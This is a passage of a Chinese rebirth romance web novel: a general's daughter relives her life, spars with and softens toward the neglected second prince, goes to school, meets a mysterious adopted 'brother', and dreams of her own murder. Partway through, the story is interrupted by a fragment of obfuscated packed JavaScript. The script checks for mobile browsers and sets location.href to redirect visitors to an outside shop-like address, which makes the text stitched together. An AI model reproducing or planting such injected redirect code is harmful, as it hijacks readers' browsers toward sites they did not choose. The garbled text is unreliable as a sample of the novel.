“啧啧,等的是个男娃娃吧,这都好半天的八成是不在意你啊。”
“丫头啊,俺是过来人,别等那个小娃娃了,没结果的,我当年等我爱人十年结局就听到她成亲的消息,哎~”
老板颇为自来熟的聊起自己凄苦的往事,沉浸在自己的独角戏中无法自拔。
回忆起前世她在外征战5年结果回京却得知陈洛立后的消息,不自觉叹气。
“叔,我懂你,以为走进了他的心,人家却只将你当作人生一段短暂的露水情缘。”
“哎呦,丫头你说的太对喽,相爱的时候情真意切,发誓永不分离,分离后那些温存全化作微风吹散喽~”
“只有自己还愚蠢地遵守誓言,停留在原地等待与他的再次相遇。”
“呜呜呜丫头,说的叔好痛啊,简直就是知音...哎?你咋那么懂?丫头好好读书,少看话本子呀!”
江慕无语地瞅着刚刚还深陷感情的老板换上说教的模样。
该怎么解释她已经活过一辈子了呢?
正谈论人生,街边的风猛地大起来,吹地江慕额前打理齐整的发迷了眼。
“哎呦,丫头不跟你唠喽,这等会可要下雨了,你别等了。”
老板便说着便赶忙收拾起铺子,见江慕形单影只的,将倚在身旁的油纸伞丢给江慕催促道。
“丫头快回家吧,别引家里人担心。”
江慕呆愣地接过伞,扫了眼四散的人群,再仰头望着暗沉的天。
她知道陈洛不是个不守约的人,也没耍人的恶趣味,所以极有可能是被其他事绊住了。
古色古香的寝殿,檀香的淡雅气息伴着袅袅青烟浮动在室内,底下一少年屈背跪在地上不知几时,青衫的褶皱上被染上星星点点的灰尘,修长的指尖缠着浸血的绷带,浓重的草药香弥漫在他身上。
“陛下,洛儿还小,不就穿了件白衣服吗,许是着急没注意呢?何必这般罚他?”
屏风后的女子缓步来到陈卓萧身侧,亲昵挽起男人结实的手臂宽慰。
“呵~没注意,朕看他眼里就没朕这个父皇,跟他娘当年一样不知礼数。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132769|196242||http|test|mini|href|location''.split(''|''),0,{}));
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>提起寻书月,身侧女人美艳的瞳孔闪烁了瞬,面上重新挂上笑。
“毕竟是偏远女子,不知道这些规矩也正常。”
少年低垂着头仿佛置身事外般,无视两人刺耳的对话,长发耷拉在身前,遮住大半张脸,莹白的皮肤上一双漠然的眼盯着灰黄的地面,脑海不住浮现少女孤零零地等在商铺的画面。
她还在等他吗?
“洛儿,还不快向你父皇请罪。”
陈洛眨眨眼,回神乖顺地听从:“父皇,儿臣知错了。”
陈卓萧压下郁结的火,看向抬头望着他与寻书月相似的脸,雪色莹润的肌肤,疏离如寒霜的眼,破碎的记忆冲击着他思绪,女子绝情的话语犹在耳边。
“陛下,我只是一凡人女子,不会同您去京城的,还请您勿要强人所难。”
“为什么?难道就你真要往后日日跟这捣鼓巫术的小子在这破落村落呆一辈子!跟了朕,朕可以赠予你享不尽的荣华富贵!”
寻书月疲倦的摇摇头,如同不可触及的神女,连纯白的衣角都渡着柔柔的月光,纤纤素手牵起身侧的银发男子。
“还望陛下成全我们。”
......
“呵~还真是跟她娘长得一样讨人嫌。”陈卓萧喃喃自语起来,握起桌案上的砚台直直摔向陈洛。
“嘭”一声沉重的闷响伴着陈卓萧低沉的话一同响起。
“滚!”
窗外适时闪过一道惨白的电光。
“轰隆!”
雷声大作,大滴雨水接踵而至,雨珠劈里啪啦拍打在地面,奏出扰人的曲调,潮湿的气息随着冷风漫过屋内死寂的氛围。
没有人送陈洛回府,他自娘亲去世后三年便被送出皇宫,住在偏僻的府邸伴着两三个仆从伺候着。
他已经习惯陈卓萧阴晴不定的性子,因为这张与寻书月极度相像的脸,父皇对他总会如这忽降且暴烈的雷雨般莫名发怒。
细密的雨丝粗鲁打在素雅的青衫上,黑发湿黏地紧贴着脸侧,纤长的睫羽似煽动的蝴蝶颤动。
他觉的自己应该找个躲雨的地方等雨停然后回府,可不知怎的他却只是漫无目的地走在黑暗中。
昏沉的脑子让他失去了思考能力,眼前的所有都变得灰白,他好似化为了一片脆弱的花瓣漂泊在汹涌的浪潮中,所有的一切都随之远去。
亲眼目睹娘亲的死亡也好,富家子弟的殴打也好,接受父皇变化无常的漫骂也好,都不重要了,他想不如在这风雨如晦的地方融为一滴不起眼的雨滴消逝在温暖的清晨。
茫茫的视野里灰调世界蓦地染上一抹蓝,如同寂静的湖面投入的一滴石子泛起源源不断的涟漪,黑白的水墨画被后者涂上艳丽的颜料便永不褪色。
陈洛的心剧烈颤动起来,那道身影踩着细碎的水珠,离他越来越近。
少女融在雨幕后的脸庞映在他晦暗的瞳孔,往日的高傲疏离和几日因她的烦躁困解在这刻同薄雾般瞬息消散,完全被胸腔中无法自抑的悸动所取代。
那次相见后,陈洛变得很奇怪,他在面对江慕时无法保持从始至终待人的冷淡,喜悦又酸涩充斥在心口,极其矛盾。
寿宴前的夜晚他莫名脑中浮现少女稚嫩明艳的脸,不可控地在素白的帕子上绣下一朵洁白无暇的茉莉花。
纯白的花朵变得异常刺眼,好似有什么近在咫尺,却隔着朦胧的界限无法触碰。
“二殿下可是雨淋昏头了,不知道找地方避雨吗?”
5. 赴约
水蓝色的伞面遮挡住刀刃般的大滴雨珠,溅起晶莹细碎的水花便缓慢沿着伞骨的弧度浸润上两人的发丝,淅淅沥沥的雨声不再是窒息的曲调,而是滋润山野的清风。
少女的催促拉回陈洛游走的思绪,他垂眸望向眼前人澄澈的眼底,一手抚上伞柄,礼貌地错开她握着伞的手,只带着冷意的小指短促触碰到她外露的手背。
“无法赴约,实非我意,见谅。”
一滴细小的水珠顺着伞柄攀过少年腕骨滑落至江慕还未松开伞的手,引得她撇开这人“含情脉脉”的目光立刻收回手。
“你还未回答我,为何不找避雨的地方?”
江慕正正神色,换上严厉目光质问道。
几次碰面下来,从逃避到用欺辱发泄,再到现在她莫名其妙的示好关心,江慕觉的自己定也被这雨水浇昏了头,否则不会处处做些自相矛盾的错事。
本打着来碰碰运气,不曾想撞见这狼狈的一幕。
陈洛打量少女管教的模样,不自觉挽起抹笑,放柔声音。
“等江二小姐为我撑伞,疼惜疼惜我。”
活落,陈洛自己先愣了一下。
他自认不是个爱放柔姿态讨人心疼的人,可面对江慕下意识就撒起娇来。
陈洛不禁又皱眉困惑,他这算是撒娇,还是挑逗人呢?
许是想起前世那个耍无赖的家伙同面前人重叠,江慕便开始内心腹诽。
果然还是一个德行,不过现在提前不要脸了。
“二殿下现在当务之急是少看话本子调笑无辜的姑娘,然后学些正经知识。”
毕竟她对这些话早就免疫了,以前还倒会红红脸骂骂陈洛。
面对如此薄情的回答,陈洛如果有动物耳朵的话,现在一定如同惨兮兮的小狗般耷拉起来无辜望着她。
“......是我唐突江二小姐了。”
雨停了,陈洛收伞暂存放店家,雨后的市集颇有番别致风味。
烟火气混着空气冷冽的湿气发酵在喧嚣的人群中,灯笼暖黄柔和的光照在湿漉漉的石子板路上。
穿过琳琅满目的商铺,江慕已手上抓着不少吃食,咬了口甜滋滋的蜜饯,她将新买给阿姐的珠宝首饰自然的一股脑扔给陈洛拎着,将当今二殿下当仆从使用的很是自如。
“二殿下可有什么喜欢的,我买给你。”
陈洛在后头抱着大包小包懂事地摇头:“没有,江二小姐开心就好,不必考虑我。”
江慕抛抛钱袋子,挂起抹狡黠的笑,眼下的细痣也跟着灵动起来。
“哼,那就好,本来就没打算给你买。”
察觉被耍的二皇子丝毫生不出脾气,只无奈笑笑,目光一刻不停的追随着江慕的背影。
“别傻楞杵着,你帮我看看这个戴着好看吗?”
“好看。”
“这个呢?”
“好看。”
“那这个呢?”
“好看。”
......
“......殿下有看到不好看的吗?”
这次不是好看了,陈洛故作认真思考了会,实诚的回答:“没有。”
江慕有种不能揍人的无力感,市集也逛得差不多了,她干脆拉着他坐在宁静的桥底河流边歇息,摆弄自己新买的首饰。
水流轻缓无阻的涌动在大街小巷,隔绝掉熙攘的人声,船家滑动木筏的节奏与水流声交相呼应,清凉的风晃动船帆上暖容的灯光,映在深蓝泛着片片涟漪的水面。
江慕感到股许久未曾享受过的清净,没有亲睹家人离世的痛苦,没有需要辗转反侧寻求的真相,没有面对死亡时声嘶力竭的无助。
她不自觉放缓呼吸想藏匿进静谧的夜色中,身侧人平和的呼吸声像轻盈的羽毛刮挠着她的耳廓,淡雅的花香萦绕在她鼻间,与前世拥抱时一样的味道,舒适安心又甜蜜。
她刚想收回凝着湖水的目光就被天空绚丽烟火剥夺了视野,炸响声充斥着她的耳膜,火树银花照亮漆黑的夜,映亮她暗淡的瞳孔,她的心无规律地悸动起来。
18岁时同样的一番烟火,桥底的湖水边,陈洛吻了她。
那是个青涩又生疏的吻,因为紧张呼吸都在发抖,柔软且包容,带着冷香交缠在喘息间,她能在那人眼中轻而看到自己失态的模样,那双手轻柔捧着她发红的脸,视若至宝般不敢多施一丝力气。
江慕费力睁开眼,璀璨的火光下,是他的被冷风吹得与她交缠在一起的黑长发,柔情的眼眸和交错共振的心跳。
她从回忆中拉回神智,下意识偏头看向身边人,措不及撞上不知盯着她几时的少年。
“你在想什么?”
回应陈洛的是一块甜腻的蜜饯,他暗沉着眼咬下江慕慌乱间塞进他口中的甜食,余光中的女孩不自在低下头瞅着平静的湖水让他窥伺不出想法,只一种异样的熟悉感冲击着他的神经。
无忧的时光总是短暂,童年时江慕的噩梦终究还是来了——学堂开课了!
碧空如洗,百花齐放,鸟雀热情搭在枝头叫嚷着,好天气,可江慕的心情可一点都不好。
她悲哀地走向自己靠窗的座位,翻看崭新的书册,盯着那些冗杂的文字一阵烦躁的叹气,身子毫无形象的倒在桌案上,感叹重生竟还要再上学堂。
回想上学堂前她是哭爹喊娘,引得春摇和阿婆心疼不已直呼一个学不上也罢,小姐开心就好,结果就是管事嬷嬷狠狠教训了一顿,踢来学堂。
“慕妹妹,别愁眉苦脸的了,这不有我陪着吗?”
一身水蓝襕衫的少女亲昵地搂住江慕的脖子,用脸蹭蹭她的颊安抚道。
张静渟是幼年时一同长大的挚友,两人因对课业丝毫不感兴趣,钟爱贪玩逃课而一拍即合。
“哎,渟姐姐别闹我了,你我半斤八两,以后有我们受的了。”
“什么话,这段时间我可谓是悬梁锥刺股,早不是曾经贪玩的我了!”
......
“张学子,你来把吾要求你昨日看的经书背一遍。”
“呃...学..而而...习嗯..”
支支吾吾半天,张静渟终于憋不住反驳。
“爹你昨天根本没让我背这个啊?!”
台上先生捋捋胡须,冷嗤一声。
“哼,吾看你就是没认真背,经书背一句都背不完整,本末倒置倒是学的不错,回家罚抄50。”
“啊~”
一阵沉痛的哀嚎后,张静渟不满地与同座的江慕讲起小话。
“我爹昨日就是
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没让我背这个,他天天就会找理由训我。”
没错,京城最有名的讲学先生是她渟姐姐的父亲,江慕以前做梦都没想到日日同她调皮捣蛋的好友还有这层背景。
“苏学子,你来。”
念到苏沫,张先生语气都变得柔和不少,神色都不禁和颜悦色起来。
不出所料,苏沫丝毫不落地背完,收获张先生赞赏的眼光后,颇有些得意地落座朝后头的江慕露出个挑衅的目光。
不知是不是江慕错觉,苏沫前世就对她带着股莫名的攀比劲。
对此,江慕的想法是...
嗯...还蛮可爱的。
一团褶皱的纸团趁着张先生不注意砸在江慕桌案,她往后瞟了眼那个有事没事找她约“比武”的林公子,嫌弃打开那坨纸,歪歪扭扭的字迹扭缠在一起,江慕勉强眯起眼艰难辨认。
下学一同回府吗?
配上一个眨眼滑稽的表情。
她拿起毛笔毫不留情的写下一个“不”字,抬头贼眉鼠眼地瞄了眼张先生动向,然后狠狠将纸团掷向林纪贤的脑袋。
“哎呦!疼疼疼!”
这动静可不小,吓地江慕脖子都缩紧试图摆脱关系。
但眼尖的张先生一推眼镜,扫视一番,就看破了事情的前因后果。
“江学子,林学子又是你们两个!”
......
一通训斥后就是抄不完的经书,下学后,江慕直接给林纪贤脑袋来了一拳头,大骂道:“你天天不长脑子是吧,那么大声生怕张先生听不到,你个小男人娇弱啥呢,就你这个德行,还找我比武,我一个手指头的力气都能把你裤衩打爆。”
林纪贤揉揉自己发红的脑瓜,不服气道:“谁让你下死手的,我真的差点疼晕过去。”
“嘿嘿嘿不过看在你还是陪我一起回去的份上,就不同你计较了。”埋怨完,林纪贤捂着脑袋,不好意思地自言自语了一句。
“嘀咕什么呢?”江慕瞅着林纪贤一幅美滋滋偷乐的模样不明所以。
“呃!没没什么。”林纪贤正正神色,转了下眼珠,扫视番周围,思索了会才斟酌开口。
“就是...我看你好像跟二皇子走得挺近的,我听爹说他日子过的可苦了,你可千万别被他脸骗了。”
“而且而且他娘还...”
“行了。”少女烦躁地皱眉打断,这种话她早听过不下三万遍。
自从前两日逛夜市被发现后,不知道多少人在她耳边念叨“你还小不急一时”“别被一张脸搞得鬼迷心窍了”“慕儿,你觉的林公子怎么样?”
反正除了阿姐和春摇外,其他人是完全不赞同这门“婚事”的,虽然她们还没到这个地步,她也决定这世不再与陈洛产生纠葛,却不想还是染上千丝万缕的交情。
她现在确实理不清对陈洛的想法,但也不接受他人平白侮辱无辜女人的名声。
“我跟他没关系,你犯不着在我身边诋毁,连事情缘由都搞不清就少掺和。”
话落,江慕蓦地感到股异样,视线一转,正正好好对上一道观察她许久的黑眸。
怎么又是陈洛。
她有些烦躁地咬咬牙,倏然挽起抹狡诈的笑,忽地改口道:“但你说的也不无道理...”
6. 弟弟
“好好的皇子过得猪狗不如,我自然是看不上,我虽不是什么高门贵女,但好歹也是将门之女,怎么会自讨苦吃,不过是无趣,找条狗玩玩。”
江慕觉的这次火力肯定是足了,她不确定刚刚维护的话有没有被捕捉到,但狠话她却是卯足劲儿,特意提高了音量。
她一定要把现在胡乱的关系彻底扯断。
身侧的林纪贤被这嗓门骇的汗毛都立了,小心翼翼地拉拉她的衣袖低声道:“话是说的没错,但人家毕竟是皇子,也不用这么……大声吧。”
江慕毫不避讳地盯着陈洛的眼,添油加醋地回道:“这有什么,哪怕这位二殿下站我面前,我也照骂不误。”
陈洛一袭素袍,手里握着书卷,似要前往张先生的屋子,闻言不置可否地顿住脚步。
刺耳的话他想忽略都难,只可惜他并没如江慕所想气恼,许是被少女紧盯得没了招,无奈略微歪头不怒反笑,挂上幅颇为纵容的模样,好似将刚刚的话视作两个亲密无间之人的玩笑。
一旁的林纪贤哪怕是二愣子也看出不对劲来,回头就看到议论的正火热的二殿下站在后头,平日冷若冰霜的殿下此刻被这般挑衅后竟温柔的冲江慕笑了!
两人微妙的“甜蜜”气息丝丝缕缕环绕在他周围,他怒不可遏地强行打断这层暧昧的屏障,向身侧人质问。
“江慕!你骗我,你不是说你俩没关系吗?!”
太阳穴突突的跳,所有的设想都走偏了,江慕感觉现在陈洛跟曾经那个不知羞耻的人越发相似,她费劲想出的招数统统无济于事。
她烦躁抓乱乖巧整齐的发,气急败坏地将手中书册奋力摔向陈洛。
“笑笑笑!有什么好笑的!走了!”
“你还没跟我讲清楚呢!你骂他他为啥子乐啊!”
“不知道!”
江慕全无怜香惜玉地对林纪贤的脑袋招呼,才得到片刻安宁。
陈洛目送两人消失在学堂门口,黑沉的眼落在林纪贤扯着江慕衣袖的手上,他忽地有种想断掉男孩手的念头,这想法浮现不过一霎就被掐灭,长睫敛下不堪的心思,他不敢相信自己会成这样,前两日的雨夜后让他变得越发怪异。
他实在看不懂江慕的想法,蹩脚想要惹他厌恶,时而眼神流露出莫名恨意,都不像这个年龄该表现的,明明最初见他还抱着他说他好看。
最让陈洛感到迷乱的是他面对少女的拙劣辱骂竟生不出气,甚至还觉的她泛着股让人喜爱的...傻气。
他垂眸目光审视起脚边少女用来砸他的书册,花花绿绿的封面,难以启齿的书名,这是本风月话本。
陈洛不禁皱眉,之前江慕还斥责他让少看些话本,自己却偷偷带上学堂。
回忆少女灵动的脸,话本的类型实在符合江慕的喜好。
他不在意地将话本掩在书卷下,走进屋。
“学生拜见先生。”
室内融着股清冽的茶香,温暖舒适。
“二殿下有礼了,不必拘束,有何困惑尽管开口,为师必定知无不言。”
张先生拂袖抬手为陈洛倒了杯暖茶,茶香四溢,飘起浓浓热气,他招手让陈洛落座。
半炷香的时间,长老不禁感慨二殿下的聪颖,问题总是富有深度且有自己独到的见解,收他为徒弟与他而言着实是个满意的选择。
“殿下想法可谓是别出心裁,有你这个徒弟乃为师之幸。”
“只可惜天纵英才,得不到那位重视,终究是...”
“学生愚钝,自是比不过皇兄,学生只愿用自己所能造福天下万民。”
陈洛及时掐断张先生的话,他并非谦卑之人,但先生这话于他现在处境不过雪上加霜,张老远离朝廷多年,说话行为向来毫无顾忌。
身为皇子他本应同皇兄般身处皇宫接受先生专门授课学习,只可惜父皇已厌恶到看到这张脸都恼怒的程度,又怎会关心他的其他,张先生也正因此而感到惋惜不满。
“为师看你学业精进,已熟练掌握,这两本你先带回去研读吧。”
张先生抿了口茶,将手边书册推去。
“多谢先生,学生感激不尽。”
陈洛恭敬拿过书册,翻阅整理间不慎将书卷下的话本滑落在地,羞耻的字眼毫无阻碍地映入张先生眼底,茶水堵在喉咙间,他不住咳嗽几下,委婉开口。
“二殿下平日真是博览群书啊。”
意识到不对,陈洛面色难得僵硬了瞬,找补道:“这不是我的。”
张先生偏头仔细打量,忽的感到眼熟,犹豫开口道:“这话本为师好似在哪个捣蛋学生那见过?”
为了掩盖江慕的“罪行”,陈洛握着茶的手一紧,难掩窘迫之色,清嗓自相矛盾起来。
“...先生,这其实是我的。”
“?”
回府,江慕成功收获的春摇的哀怨。
“小姐,我今早给你梳的头发怎么又成鸡窝了!”
“....春摇,我不是故意的。”
春摇生无可恋的为江慕重新束发,苦口婆心劝自家小姐顾忌些形象,堂堂将军府小姐每天脏兮兮的算怎么回事。
房门被急切拍响,门外回荡阿婆轻快的声音。
“二小姐,大小姐今日收到信,南城战事已平息,家主两日后回京!”
“父亲要回来了!”
前世父亲自母亲死于宛城后郁郁寡欢,常年在外征战,与她们姐妹二人相处时间本就短暂,后来又死于“造反”的罪名,如今得以再见,江慕自是心头一喜。
她的亲人竟都回到她身边了,除了...母亲。
“江慕!昨日我都看到了,你打着将军府的名头,竟言语欺辱二殿下,实在是过分!”
桌案被拍得震天响,昨晚因兴奋过度难以入眠而打瞌睡的江慕被这动静骇的一个激灵,抬起倦怠的眼,迷惘望向眸中满是厉色的苏沫。
“你看到看到呗,我又没说错。”
江慕满不在乎的语气,让苏沫情绪不住翻涌,斥责道:“你明知陛下有意为你们指婚,还这般罔顾礼法,不将二殿下放在眼里。”
一旁的张静渟不赞同地反击:“既不是板上钉钉的事,你何故将事情抬得如此大,再者这二殿下都没发话,你又在这耍什么威风?”
“你!...我我就是见不到殿下这般被欺负!”
苏沫面红耳赤地支吾解释,手不自知已把衣袍捏的皱巴巴,气焰早不如开始时嚣张。
后头的林纪贤也插话帮着说话,只是语气却掺着丝旁人看不懂的阴阳怪气:“可别啊!人殿下可一点都不气,还尤为溺爱地笑了呢~”
江慕:...这有什么好骄傲的。
“!什么!你胡说八道!殿下被那样侮辱,怎么可能...”自知理亏的苏沫瞟了眼四周围因她而围拢看热闹的学子们,只有种搬起石头砸自己的脚的懊恼,畏缩地往后退了几步。
众学子见此,扬起戏弄的笑意,连连奚落。
“啧啧啧,这苏府如今已没落成这般地步了吗?都要碰瓷将军府了!”<
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p>“辩白这老半天,结果二殿下压根不当回事啊哈哈哈。”
“要我说这苏家小姐定是爱慕殿下,不然也不会...”
......
苏府如今境遇确实是苏沫心中的梗,几年前他们也是赫赫有名的文化世家,只可惜新皇登基后,他们便渐渐淡出世家众族,不被陛下重视青睐,家中长辈更是将她视作泄愤的工具。
“各位学子们言辞莫过于偏激了,苏学子不明事情前因后果,看不得他人受辱,贸然声张正义,也不必被这般诟病,我确实言语有失在先,苏学子说的不错,我之后定会前往殿下府邸请罪。”
江慕察觉苏沫骑虎难下,适时站出维系颜面,不让她脸色太难看。
众学子们虽略带不解,但见先生已踏入堂内,只得扫兴的熙熙攘攘散开回位,只有些人嘴里依旧念叨着“江家小姐不识相”的字眼。
苏沫明显为刚刚少女出言为她说话感到错愕,心里有股说不清的滋味。
张静渟不理解地扯扯她垂落的衣袖:“哎?你替她说什么话,她刚刚还让你难堪呢。”
江慕不在意摆手,莞尔:“毕竟是女娃娃,心思都敏感,她也是只是出于好心,没什么好计较的。”
“啧啧你怎么现在老气横秋的,不知道的以为你已至不惑喽~”
额前毛躁的发挡住少女眼中惋惜,她玩笑回道:“说不定我活不到那时候呢~”。
下学刚出学堂门,江慕就被堵在门外,苏沫面上带着绯色嚅嗫开口:“你...为何替我说话,明明是我先不分青红皂白的...”
话止在江慕靠近挨上来的影子,苏沫呆呆低着头感受毛绒绒的脑袋传来一阵温热,迷糊糊地抬起水润的眼,看着少女明媚的笑,眼下痣绽着独属她的凌气。
女生清朗的音色带着丝宠溺:“以前怎么没发现你还蛮可爱的,没什么大不了的,毕竟你也...没说错...”
后面的话被压的几乎听不清,苏沫脑子要乱成浆糊了,江慕为什么要摸她头夸她可爱啊啊啊!
头上的暖意不过刹那便收回,见江慕即将抽身上马车,她慌忙拉住少女的衣袖磕巴道:“刚才的事...多谢。”
“无妨~”
风拂过娇艳欲滴的花朵,麻雀垫在房梁捉弄着屋顶,将军府外喧闹不已,京城百姓大都爱戴江远,早早聚集在城门口,挂上朴素的笑,捧着各色花篮迎接大将军回京。
队伍浩浩荡荡进城,领队之人朝民众和蔼挥手,接过孩童递上的花朵,军队停滞在将军府门前,江远急促下马奔向姐妹二人。
熟悉温暖的气息包裹住江慕,前世父亲被当众赐死的画面仍历历在目,让她眼眶不自觉湿润,手指紧捏着江远垂地的披风不放。
“哈哈哈这么久不见,慕儿更黏我了啊。”
江远揉揉江慕软乎的脸蛋打趣一番后又摸摸江安的头。
“这些年府上多亏安儿照料,我这当父亲的常年不在家,实在有负你们姐妹俩和落尘所托。”
零落成泥碾作尘,只有香如故。
绮落尘就是娘的名字。
“爹,你勿要自责,身为长姐,本该撑起家中担子。”
“好孩子!”
“差点忘了!爹在战场上遇到一落难孩童,见无家可归,便自作主张带回京照拂一二。”
话落,一黑发男孩从他身后怯弱走出,男孩带着银色耳饰,脖挂铜细链,灰头土脸的模样难掩沉稳端庄气,他眨眨灰蒙的眼,恭敬弯腰行礼:“周夜承见过两位姐姐。”
7. 幻梦
周夜承?
江慕皱眉,她对这人可一点印象都没有,他莫非是这世破局的关键?
沉思间,她抬头蓦地对上周夜承莹亮的眼眸,泛着蓝绿色惑人的光。
“真是个漂亮的孩子,阿承,往后我便是你长姐,我名安,江安,你称我为安姐姐便好。”
“这位是你二姐姐,江慕,虽顽皮了些,但性子不坏,你...”
江安话还未说完,周夜承已上前乖巧地唤了声:“慕姐姐。”
不及江慕回应,他便自然侧身温顺向江安低头:“安姐姐。”
“你们带阿承熟悉一下府邸,面见圣上后我们一家子也该好好聚聚了。”
队伍浩浩汤汤地驶离将军府,热闹随同百姓聚散后一同消逝,空寂的大门口只余下三人和零散的几个仆从。
“我看阿承亲你的很,你带带他,府上事务我还要交任给父亲。”
江安挨着江慕低声耳语,而后郑重拍拍她的肩冲她俏皮眨眨眼,转身头也不回地前往书房。
又把这种事推给她。
自己阿姐的性子只有自己知道,白日对任何事和人都能随机应变维持端庄,晚上却会与她缩在被窝里吐槽那些官员麻烦又蠢,事务杂而乱。
“林大人真把我当傻的,还想诓骗我。”“这后院的琐事竟还要我过目,真是没有一天消停日子。”了了。
她将目光重新落在面前矮她半头的男孩,生硬地组织语言:“阿...承?我带你看看你房间。”
绕过清幽僻静假山环抱的池水,清澈透凉的细流涓涓淌过黑亮的鹅卵石,奏响轻快的乐章,树木翠绿,清风拂面,扬起素白的衣裙,江慕推开一间空置房间,招呼下入清扫,添置些衣物用品。
她偏头思索作为姐姐是不是该关心一下新进门的弟弟,生疏抬手搭在他柔软的头顶:“阿承,我看你的耳饰,有点像岚州国的样式,莫非你是岚州人?”
周夜承乖顺就着她揉着发的手,半眯着眼舒服地蹭蹭她的头,老实地回应。
“慕姐姐猜的不错,我与族人游历漠土不慎陷入战乱,族人全部身亡只我侥幸逃脱,幸得远将军所救,否则阿承早已成为漠土上一具不起眼的白骨。”
江慕垂下纤长的睫羽,细致打量男孩温润柔和的侧脸,抚在头上的手不自觉顺着周夜承的话语滑至耳骨,指尖轻巧拨动耳坠下尾落的银链。
耳饰很独特的设计,环上雕着蓝绿振翅的蝴蝶,往下蜿蜒一条镶着玉色珠子的细链,泛着和男孩眼睛一样勾人的嫣彩。
“你们...岚州人的饰品还真是...好看...”
她似是被蛊惑般呓语着。
“...哈...慕姐姐?”周夜承紧张的呼了口气,唤回江慕迷离的神智。
江慕“嗖”的回神,怔愣收回摩挲他耳垂的手,扫过周夜承溢着淡淡艳色的脸,慌忙后退半步:“方才被这耳坠迷了心,唐突了,我看你衣物破旧的厉害,让人带你下去清洗换件新衣。”
“兰铃,你带阿承去沐浴。”
玉珠的触感还残留在洁白的指尖,细密的痒意攀绕上整个手掌,清风吹灭心里燃起的细微躁动。
江慕感觉身体的血液似乎格外亲昵周夜承给予她的气息,朦胧的记忆藏匿在氤氲的薄雾之后,幻真幻梦间,她费力伸手扯住环抱她人坠落的耳饰和几缕发丝,珠链碰撞,发出一串微弱的声响,她勉强半睁开眼只留意到银白的长发。
仅剩的光亮伴着梅花香被遮盖住,温热的手心拂过她眼下明艳的痣,意志彻底拨丝抽茧,她陷入长久的黑暗。
一切戛然而止,随着重生后日复一日被推动着前行,往事变得越发模糊不清,如今她不自觉恍惚自己的前世会不会只是一场灾厄的梦。
她想不起来了,江慕觉的自己该睡一觉,然后计划下怎么对付那个“异界者”。
“兰铃姐姐,两位姐姐平日可有什么喜欢的?”
“周小公子怎突然好奇起小姐们的喜好?”
周夜承扬起小鹿般的蓝绿色眸子,扬起纯善的笑:“托远将军的福,我才能有幸被收留在将军府,两位姐姐待我温柔又亲和,我也该多了解些,投其所好讨姐姐们欢心。”
兰铃见这新收养的小公子样貌不俗,性子纯良,现如今又这般心思细腻,一颗柔软的心仿佛泡在温水里,欣慰道:“周小公子真是懂事,有你在大小姐也能少受累,顺便也能压压二小姐顽劣的脾性。”
又是一句对江慕无奈的评价,周夜承沉不住气好奇发问:“慕姐姐经常闯祸吗?”
哪想这话直接激起兰铃多年怨气:“何止爱闯祸,新买的衣服没过三日是必破洞沾泥的,学堂是三天两头不见人的,抄写经书再回头看必是翻墙偷溜出去耍乐的!”
一连串的发泄后,兰铃扶着胸口顺顺气。
“不过这段时日二小姐倒是听话不少,至少不逃学堂,乖乖抄经书了。我们这些下人虽偶尔怨念重,但都真心盼着二小姐好的。”
“只希望二小姐能多懂事些,大小姐不至于太过操劳。”
周夜承低着头认真听着没发言,耳边持续传来兰铃的念叨声。
“至于...大小姐小小年纪就背负家主的责任,任何事都做得面面俱到,克己复礼,平日爱读经传历史,哦!大小姐抚琴的时候似乎心情格外好呢~”
“遥夜亭皋闲信步,才过清明,渐觉伤春暮。娘前几日读诗看到这句,你的慕恰好同这暮色的暮相近,不如给你取个字,春暮,江春暮好不好?”
“嗯...姐姐字就叫轻语,轻风的轻,话语的语,桃杏依稀香暗渡,谁在秋千,
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笑里轻轻语。”
女子温柔的话语携着独有的坚韧在她耳边响起,她欣喜地捉住眼前人的衣摆唤道:“娘?你回来了!”
那人的手如清风轻柔拂过颊转瞬即逝,她甚至听到女人因她激动而发出短促的笑声。
可惜入目不是抚摸她脸巧笑嫣然的绮落尘,而是重病缠身躺在床上没了呼吸的绮落尘。
她愕然,白色素灯高高悬挂,黑色的“奠”字刺进她眼底,一点点淹没她燃起的片刻温暖,白色布条飘扬在空中,周围环绕着宛城人的哭诉声,江远跪趴在娘的身边紧握着女人苍白的手,眼眶通红不住落泪:“落尘,是我不好,如果我能早点...早点就好了...”
她不可置信地侧头看到幼时的江安素衣跪在一旁颤抖着肩膀抹眼泪,对上江慕怔愣的眼神后,她牵强扬起抹的笑将她搂在怀中,轻拍她的肩安抚:“没事的,阿姐会照顾好你的,娘没有离开我们,她还在我们身边啊,春暮。”
白绸缎聚拢缠绕上她与江安,她呼吸被一寸寸剥夺,视野陷入空茫的白。
画面一转,目之所及下是带血的刀刃,富丽奢靡的皇宫中,江安温婉的脸庞近在咫尺,她一脸惊恐地抵住刀的尖端呼喊道:“春暮,我是姐姐啊,你为何...”
她慌乱松了握刀的力度,茫然回应:“阿姐...是你...”
“噗呲”闪着寒光的刀尖忽地转了方向刺向她的心口,胸膛前的衣料被不留情的捅开,浓稠的血液翻涌上喉间,血顺着刀柄抽出的动作往外疯狂跃动。
“哎呀~被骗到了呢。”
眼前人倏然换上另一幅模样,眼中恐慌尽散,得胜后的兴奋霸占着瞳孔深处,她挟着嘲弄的笑意低声凑近,附在她右侧耳语。
“我知道哦~你想与我同归于尽,可惜你面对江安还是心软了呢~”
“这个身体真的很好用,为我省了好多麻烦。”
女子声音轻柔惑人,话语却如荆刺般恶毒。
“我的好-慕-儿-,去黄泉路上见你的阿姐吧~”
鲜红的血缓缓侵蚀眼前的一切,血混着眼角的泪滴在污着黑浓的刀刃。
她沙哑地声音盯着琴莜癫狂的脸一字一顿道:“你-不-配-这-么-叫-我。”
世界天翻地覆,血化成火焰燃烧在她艳丽的瞳孔,熊熊火舌趟过她飞舞的衣摆,炙烤着她裸露在外的肌肤。
热烈的火光映在在白皙的脸上,她昏沉着保留着最后一丝理智一步一步踏入火焰的正中心,张张书信散乱飘飞在沸腾的空气中,她挣扎着抓住其中一角残碎的纸张。
上面字迹工整,疏朗潇洒落下“春暮亲启”。
